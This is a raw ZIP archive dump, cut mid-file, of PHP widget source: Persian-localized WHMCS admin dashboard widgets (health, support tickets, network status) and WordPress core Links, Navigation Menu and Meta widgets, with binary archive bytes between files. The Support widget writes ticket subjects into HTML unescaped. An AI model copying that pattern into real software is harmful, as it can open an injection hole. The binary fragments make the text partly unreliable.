'</strong> Points <small>' . $langLastUpdated . ': ' . $balanceLastUpdated . '</small> </div> </form>'; } else { $accountOutput = '<div class="balance-wrapper promo-wrapper"> MarketConnect gives you access to resell market leading services to your customers in minutes. <a href="#">Learn more »</a> </div>'; } return '<div class="widget-content-padded"> <a href="marketconnect.php" class="btn btn-default btn-manage pull-right"> ' . $langManage . ' </a> <h4>' . $langSellingStatus . '</h4> <div class="selling-status"> ' . implode($services) . ' </div> ' . $accountOutput . ' </div>'; } } PK �E'Ze}�J Health.phpnu �[��� <?php namespace WHMCS\Module\Widget; use WHMCS\Module\AbstractWidget; /** * Health Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class Health extends AbstractWidget { protected $title = 'سلامت سیستم'; protected $description = 'بررسی سلامت سیستم در یک نگاه'; protected $weight = 90; protected $cache = true; protected $requiredPermission = 'Health and Updates'; public function getData() { return localApi('GetHealthStatus', array()); } public function generateOutput($data) { if ( !is_array($data) || empty($data['result']) || $data['result'] === 'error' ) { /* * A previous version may have cached an erroneous response due to PHP 7.4 not being itemized * in Php environment class. We can retry obtaining that data */ $data = $this->fetchData(true); } $countSuccess = count($data['checks']['success'] ?? []); $countWarnings = count($data['checks']['warning'] ?? []); $countDanger = count($data['checks']['danger'] ?? []); $totalCount = $countSuccess + $countDanger; $countPercent = $totalCount > 0 ? round (($countSuccess / $totalCount) * 100, 0) : 100; // fallback to avoid dividing by 0 $ratingMsg = '<span style="color:#49a94d;">خوب</span>'; $ratingIcon = '<i class="pe-7s-help2" style="color:#49a94d;"></i>'; if ($countPercent < 50) { $ratingMsg = '<span class="color-pink">بد</span>'; $ratingIcon = '<i class="pe-7s-close-circle color-pink"></i>'; } return <<<EOF <div class="widget-content-padded icon-stats"> <div class="row"> <div class="col-sm-7"> <div class="item"> <div class="icon-holder text-center"> {$ratingIcon} </div> <div class="data"> <div class="note"> مجموع امتیاز </div> <div class="number"> {$ratingMsg} </div> </div> </div> </div> <div class="col-sm-5 text-right"> <a href="systemhealthandupdates.php" class="btn btn-default btn-sm"> <i class="fas fa-arrow-right"></i> مشاهده خطا </a> </div> </div> <div class="clear:both;"></div> <div class="progress"> <div class="progress-bar progress-bar-success progress-bar-striped" role="progressbar" aria-valuenow="{$countPercent}" aria-valuemin="0" aria-valuemax="100" style="width: {$countPercent}%"> <span class="sr-only">{$countPercent}% کامل شده (success)</span> </div> </div> <div class="row"> <div class="col-sm-6 text-center"> <i class="fas fa-exclamation-triangle"></i> {$countWarnings} خطا </div> <div class="col-sm-6 text-center text-danger"> <i class="fas fa-times"></i> {$countDanger} نیاز به توجه دارد </div> </div> </div> EOF; } } PK �E'Z�5�% % index.phpnu �[��� <?php header("Location: ../"); exit; PK �E'Z��ɘ � Support.phpnu �[��� <?php namespace WHMCS\Module\Widget; use WHMCS\Carbon; use WHMCS\Module\AbstractWidget; /** * Abstract Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class Support extends AbstractWidget { protected $title = 'پشتیبانی'; protected $description = 'بررسی سیستم پشتیبانی در یک نگاه'; protected $weight = 30; protected $cache = true; protected $cacheExpiry = 120; protected $cachePerUser = true; protected $requiredPermission = 'List Support Tickets'; public function getData() { $counts = localApi('GetTicketCounts', array()); $tickets = localApi('GetTickets', array('status' => 'Awaiting Reply', 'limitstart' => '0', 'limitnum' => '5')); return array( 'tickets' => array( 'counts' => $counts, 'recent' => (isset($tickets['tickets']['ticket'])) ? $tickets['tickets']['ticket'] : [], ), ); } public function generateOutput($data) { $ticketsAwaitingReply = $data['tickets']['counts']['awaitingReply']; $ticketsAssigned = $data['tickets']['counts']['flaggedTickets']; $recentTickets = ''; foreach ($data['tickets']['recent'] as $ticket) { $recentTickets .= '<div class="ticket"> <div class="pull-right color-blue">' . Carbon::createFromFormat('Y-m-d H:i:s', $ticket['lastreply'])->diffForHumans() . '</div> <a href="supporttickets.php?action=view&id=' . $ticket['id'] . '">#' . $ticket['tid'] . ' - ' . $ticket['subject'] . '</a> </div>'; } return <<<EOF <div class="icon-stats"> <div class="row"> <div class="col-sm-6"> <div class="item"> <div class="icon-holder text-center color-blue"> <a href="supporttickets.php"> <i class="pe-7s-ticket"></i> </a> </div> <div class="data"> <div class="note"> <a href="supporttickets.php">در انتظار پاسخ</a> </div> <div class="number"> <a href="supporttickets.php"> <span class="color-blue">{$ticketsAwaitingReply}</span> <span class="unit">تیکت</span> </a> </div> </div> </div> </div> <div class="col-sm-6"> <div class="item"> <div class="icon-holder text-center color-pink"> <a href="supporttickets.php?view=flagged"> <i class="pe-7s-flag"></i> </a> </div> <div class="data"> <div class="note"> <a href="supporttickets.php?view=flagged">برای شما</a> </div> <div class="number"> <a href="supporttickets.php?view=flagged"> <span class="color-pink">{$ticketsAssigned}</span> <span class="unit">تیکت</span> </a> </div> </div> </div> </div> </div> </div> <div class="tickets-list"> {$recentTickets} </div> <div class="footer"> <a href="supporttickets.php">مشاهده همه تیکت ها</a> <a href="supporttickets.php?view=flagged">مشاهده تیکت های من</a> <a href="supporttickets.php?action=open">ایجاد تیکت جدید</a> </div> EOF; } } PK �E'Zh?�+U U NetworkStatus.phpnu �[��� <?php namespace WHMCS\Module\Widget; use App; use WHMCS\Module\AbstractWidget; /** * NetworkStatus Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class NetworkStatus extends AbstractWidget { protected $title = 'وضعیت شبکه'; protected $description = 'بررسی وضعیت شبکه در یک نگاه'; protected $weight = 80; protected $cache = true; public function getData() { return localAPI('GetServers', array('fetchStatus' => App::getFromRequest('refresh'))); } public function generateOutput($data) { $output = ''; foreach ($data['servers'] as $server) { $online = $data['fetchStatus'] ? (bool) $server['status']['http'] : null; if ($data['fetchStatus']) { $uptime = $server['status']['uptime'] ? $server['status']['uptime'] : '-'; $load = $server['status']['load'] ? $server['status']['load'] : '-'; } else { $uptime = $load = 'N/A'; } $serverAddress = $server['hostname'] ? $server['hostname'] : $server['ipaddress']; $output .= ' <div class="item"> <div class="name"> <div class="data">' . $server['name'] . '</div> <div class="note"><a href="http://' . $serverAddress . '" target="_blank">' . $serverAddress . '</a></div> </div> <div class="stats text-center"> <div class="status"> <div class="data color-' . (is_null($online) || $online ? 'green' : 'pink') . '">' . (is_null($online) ? 'نامشخص' : ($online ? 'آنلاین' : 'Offline')) . '</div> <div class="note">وضعیت</div> </div> <div class="uptime"> <div class="data">' . (is_null($uptime) ? 'N/A' : $uptime) . '</div> <div class="note">آپتایم</div> </div> <div class="load"> <div class="data text-info">' . (is_null($load) ? 'N/A' : $load) . '</div> <div class="note">متوسط لود</div> </div> </div> </div>'; } if (count($data['servers']) == 0) { $output = '<div class="text-center"> هیچ سروری موجود نیست . <br /><br /> <a href="configservers.php" class="btn btn-primary btn-sm">اولین سرورتان را اضافه نمایید</a> <br /><br /> </div>'; } return <<<EOF <div class="widget-content-padded"> <div class="items-wrapper"> {$output} </div> </div> EOF; } } PK ]s*Z wAy} } class-wp-widget-links.phpnu �[��� <?php /** * Widget API: WP_Widget_Links class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Links widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Links extends WP_Widget { /** * Sets up a new Links widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'description' => __( 'Your blogroll' ), 'customize_selective_refresh' => true, ); parent::__construct( 'links', __( 'Links' ), $widget_ops ); } /** * Outputs the content for the current Links widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Links widget instance. */ public function widget( $args, $instance ) { $show_description = isset( $instance['description'] ) ? $instance['description'] : false; $show_name = isset( $instance['name'] ) ? $instance['name'] : false; $show_rating = isset( $instance['rating'] ) ? $instance['rating'] : false; $show_images = isset( $instance['images'] ) ? $instance['images'] : true; $category = isset( $instance['category'] ) ? $instance['category'] : false; $orderby = isset( $instance['orderby'] ) ? $instance['orderby'] : 'name'; $order = 'rating' === $orderby ? 'DESC' : 'ASC'; $limit = isset( $instance['limit'] ) ? $instance['limit'] : -1; $before_widget = preg_replace( '/ id="[^"]*"/', ' id="%id"', $args['before_widget'] ); $widget_links_args = array( 'title_before' => $args['before_title'], 'title_after' => $args['after_title'], 'category_before' => $before_widget, 'category_after' => $args['after_widget'], 'show_images' => $show_images, 'show_description' => $show_description, 'show_name' => $show_name, 'show_rating' => $show_rating, 'category' => $category, 'class' => 'linkcat widget', 'orderby' => $orderby, 'order' => $order, 'limit' => $limit, ); /** * Filters the arguments for the Links widget. * * @since 2.6.0 * @since 4.4.0 Added the `$instance` parameter. * * @see wp_list_bookmarks() * * @param array $widget_links_args An array of arguments to retrieve the links list. * @param array $instance The settings for the particular instance of the widget. */ wp_list_bookmarks( apply_filters( 'widget_links_args', $widget_links_args, $instance ) ); } /** * Handles updating settings for the current Links widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $new_instance = (array) $new_instance; $instance = array( 'images' => 0, 'name' => 0, 'description' => 0, 'rating' => 0, ); foreach ( $instance as $field => $val ) { if ( isset( $new_instance[ $field ] ) ) { $instance[ $field ] = 1; } } $instance['orderby'] = 'name'; if ( in_array( $new_instance['orderby'], array( 'name', 'rating', 'id', 'rand' ), true ) ) { $instance['orderby'] = $new_instance['orderby']; } $instance['category'] = (int) $new_instance['category']; $instance['limit'] = ! empty( $new_instance['limit'] ) ? (int) $new_instance['limit'] : -1; return $instance; } /** * Outputs the settings form for the Links widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { // Defaults. $instance = wp_parse_args( (array) $instance, array( 'images' => true, 'name' => true, 'description' => false, 'rating' => false, 'category' => false, 'orderby' => 'name', 'limit' => -1, ) ); $link_cats = get_terms( array( 'taxonomy' => 'link_category' ) ); $limit = (int) $instance['limit']; if ( ! $limit ) { $limit = -1; } ?> <p> <label for="<?php echo $this->get_field_id( 'category' ); ?>"><?php _e( 'Select Link Category:' ); ?></label> <select class="widefat" id="<?php echo $this->get_field_id( 'category' ); ?>" name="<?php echo $this->get_field_name( 'category' ); ?>"> <option value=""><?php _ex( 'All Links', 'links widget' ); ?></option> <?php foreach ( $link_cats as $link_cat ) : ?> <option value="<?php echo (int) $link_cat->term_id; ?>" <?php selected( $instance['category'], $link_cat->term_id ); ?>> <?php echo esc_html( $link_cat->name ); ?> </option> <?php endforeach; ?> </select> <label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><?php _e( 'Sort by:' ); ?></label> <select name="<?php echo $this->get_field_name( 'orderby' ); ?>" id="<?php echo $this->get_field_id( 'orderby' ); ?>" class="widefat"> <option value="name"<?php selected( $instance['orderby'], 'name' ); ?>><?php _e( 'Link title' ); ?></option> <option value="rating"<?php selected( $instance['orderby'], 'rating' ); ?>><?php _e( 'Link rating' ); ?></option> <option value="id"<?php selected( $instance['orderby'], 'id' ); ?>><?php _e( 'Link ID' ); ?></option> <option value="rand"<?php selected( $instance['orderby'], 'rand' ); ?>><?php _ex( 'Random', 'Links widget' ); ?></option> </select> </p> <p> <input class="checkbox" type="checkbox"<?php checked( $instance['images'], true ); ?> id="<?php echo $this->get_field_id( 'images' ); ?>" name="<?php echo $this->get_field_name( 'images' ); ?>" /> <label for="<?php echo $this->get_field_id( 'images' ); ?>"><?php _e( 'Show Link Image' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['name'], true ); ?> id="<?php echo $this->get_field_id( 'name' ); ?>" name="<?php echo $this->get_field_name( 'name' ); ?>" /> <label for="<?php echo $this->get_field_id( 'name' ); ?>"><?php _e( 'Show Link Name' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['description'], true ); ?> id="<?php echo $this->get_field_id( 'description' ); ?>" name="<?php echo $this->get_field_name( 'description' ); ?>" /> <label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Show Link Description' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['rating'], true ); ?> id="<?php echo $this->get_field_id( 'rating' ); ?>" name="<?php echo $this->get_field_name( 'rating' ); ?>" /> <label for="<?php echo $this->get_field_id( 'rating' ); ?>"><?php _e( 'Show Link Rating' ); ?></label> </p> <p> <label for="<?php echo $this->get_field_id( 'limit' ); ?>"><?php _e( 'Number of links to show:' ); ?></label> <input id="<?php echo $this->get_field_id( 'limit' ); ?>" name="<?php echo $this->get_field_name( 'limit' ); ?>" type="text" value="<?php echo ( -1 !== $limit ) ? (int) $limit : ''; ?>" size="3" /> </p> <?php } } PK ]s*Z��Gl1 1 class-wp-nav-menu-widget.phpnu �[��� <?php /** * Widget API: WP_Nav_Menu_Widget class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement the Navigation Menu widget. * * @since 3.0.0 * * @see WP_Widget */ class WP_Nav_Menu_Widget extends WP_Widget { /** * Sets up a new Navigation Menu widget instance. * * @since 3.0.0 */ public function __construct() { $widget_ops = array( 'description' => __( 'Add a navigation menu to your sidebar.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'nav_menu', __( 'Navigation Menu' ), $widget_ops ); } /** * Outputs the content for the current Navigation Menu widget instance. * * @since 3.0.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Navigation Menu widget instance. */ public function widget( $args, $instance ) { // Get menu. $nav_menu = ! empty( $instance['nav_menu'] ) ? wp_get_nav_menu_object( $instance['nav_menu'] ) : false; if ( ! $nav_menu ) { return; } $default_title = __( 'Menu' ); $title = ! empty( $instance['title'] ) ? $instance['title'] : ''; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** * Filters the HTML format of widgets with navigation links. * * @since 5.5.0 * * @param string $format The type of markup to use in widgets with navigation links. * Accepts 'html5', 'xhtml'. */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; $nav_menu_args = array( 'fallback_cb' => '', 'menu' => $nav_menu, 'container' => 'nav', 'container_aria_label' => $aria_label, 'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>', ); } else { $nav_menu_args = array( 'fallback_cb' => '', 'menu' => $nav_menu, ); } /** * Filters the arguments for the Navigation Menu widget. * * @since 4.2.0 * @since 4.4.0 Added the `$instance` parameter. * * @param array $nav_menu_args { * An array of arguments passed to wp_nav_menu() to retrieve a navigation menu. * * @type callable|bool $fallback_cb Callback to fire if the menu doesn't exist. Default empty. * @type mixed $menu Menu ID, slug, or name. * } * @param WP_Term $nav_menu Nav menu object for the current menu. * @param array $args Display arguments for the current widget. * @param array $instance Array of settings for the current widget. */ wp_nav_menu( apply_filters( 'widget_nav_menu_args', $nav_menu_args, $nav_menu, $args, $instance ) ); echo $args['after_widget']; } /** * Handles updating settings for the current Navigation Menu widget instance. * * @since 3.0.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = array(); if ( ! empty( $new_instance['title'] ) ) { $instance['title'] = sanitize_text_field( $new_instance['title'] ); } if ( ! empty( $new_instance['nav_menu'] ) ) { $instance['nav_menu'] = (int) $new_instance['nav_menu']; } return $instance; } /** * Outputs the settings form for the Navigation Menu widget. * * @since 3.0.0 * * @global WP_Customize_Manager $wp_customize * * @param array $instance Current settings. */ public function form( $instance ) { global $wp_customize; $title = isset( $instance['title'] ) ? $instance['title'] : ''; $nav_menu = isset( $instance['nav_menu'] ) ? $instance['nav_menu'] : ''; // Get menus. $menus = wp_get_nav_menus(); $empty_menus_style = ''; $not_empty_menus_style = ''; if ( empty( $menus ) ) { $empty_menus_style = ' style="display:none" '; } else { $not_empty_menus_style = ' style="display:none" '; } $nav_menu_style = ''; if ( ! $nav_menu ) { $nav_menu_style = 'display: none;'; } // If no menus exists, direct the user to go and create some. ?> <p class="nav-menu-widget-no-menus-message" <?php echo $not_empty_menus_style; ?>> <?php if ( $wp_customize instanceof WP_Customize_Manager ) { $url = 'javascript: wp.customize.panel( "nav_menus" ).focus();'; } else { $url = admin_url( 'nav-menus.php' ); } printf( /* translators: %s: URL to create a new menu. */ __( 'No menus have been created yet. <a href="%s">Create some</a>.' ), // The URL can be a `javascript:` link, so esc_attr() is used here instead of esc_url(). esc_attr( $url ) ); ?> </p> <div class="nav-menu-widget-form-controls" <?php echo $empty_menus_style; ?>> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" /> </p> <p> <label for="<?php echo $this->get_field_id( 'nav_menu' ); ?>"><?php _e( 'Select Menu:' ); ?></label> <select id="<?php echo $this->get_field_id( 'nav_menu' ); ?>" name="<?php echo $this->get_field_name( 'nav_menu' ); ?>"> <option value="0"><?php _e( '— Select —' ); ?></option> <?php foreach ( $menus as $menu ) : ?> <option value="<?php echo esc_attr( $menu->term_id ); ?>" <?php selected( $nav_menu, $menu->term_id ); ?>> <?php echo esc_html( $menu->name ); ?> </option> <?php endforeach; ?> </select> </p> <?php if ( $wp_customize instanceof WP_Customize_Manager ) : ?> <p class="edit-selected-nav-menu" style="<?php echo $nav_menu_style; ?>"> <button type="button" class="button"><?php _e( 'Edit Menu' ); ?></button> </p> <?php endif; ?> </div> <?php } } PK ]s*Zh��=� � class-wp-widget-meta.phpnu �[��� <?php /** * Widget API: WP_Widget_Meta class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Meta widget. * * Displays log in/out, RSS feed links, etc. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Meta extends WP_Widget { /** * Sets up a new Meta widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_meta', 'description' => __( 'Login, RSS, & WordPress.org links.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'meta', __( 'Meta' ), $widget_ops ); } /** * Outputs the content for the current Meta widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Meta widget instance. */ public function widget( $args, $instance ) { $default_title = __( 'Meta' ); $title = ! empty( $instance['title'] ) ? $instance['title'] : $default_title; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; echo '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } ?> <ul> <?php wp_register(); ?> <li><?php wp_loginout(); ?></li> <li><a href="<?php echo esc_url( get_bloginfo( 'rss2_url' ) ); ?>"><?php _e( 'Entries feed' ); ?></a></li> <li><a href="<?php echo esc_url( get_bloginfo( 'comments_rss2_url' ) ); ?>"><?php _e( 'Comments feed' ); ?></a></li> <?php /** * Filters the "WordPress.org" list item HTML in the Meta widget. * * @since 3.6.0 * @since 4.9.0 Added the `$instance` parameter. * * @param string $html Default HTML for the WordPress.org list item. * @param array $instance Array of settings for the current widget. */ echo apply_filters( 'widget_meta_poweredby', sprintf( '<li><a href="%1$s">%2$s</a></li>', esc_url( __( 'https://wordpress.org/' ) ), __( 'WordPress.org' ) ), $instance ); wp_meta(); ?> </ul> <?php if ( 'html5' === $format ) { echo '</nav>'; } echo $args['after_widget']; } /** * Handles updating settings for the current Meta widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); return $instance; } /** * Outputs the settings form for the Meta widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) ); ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" /> </p> <?php } } PK ]s*Z ]� <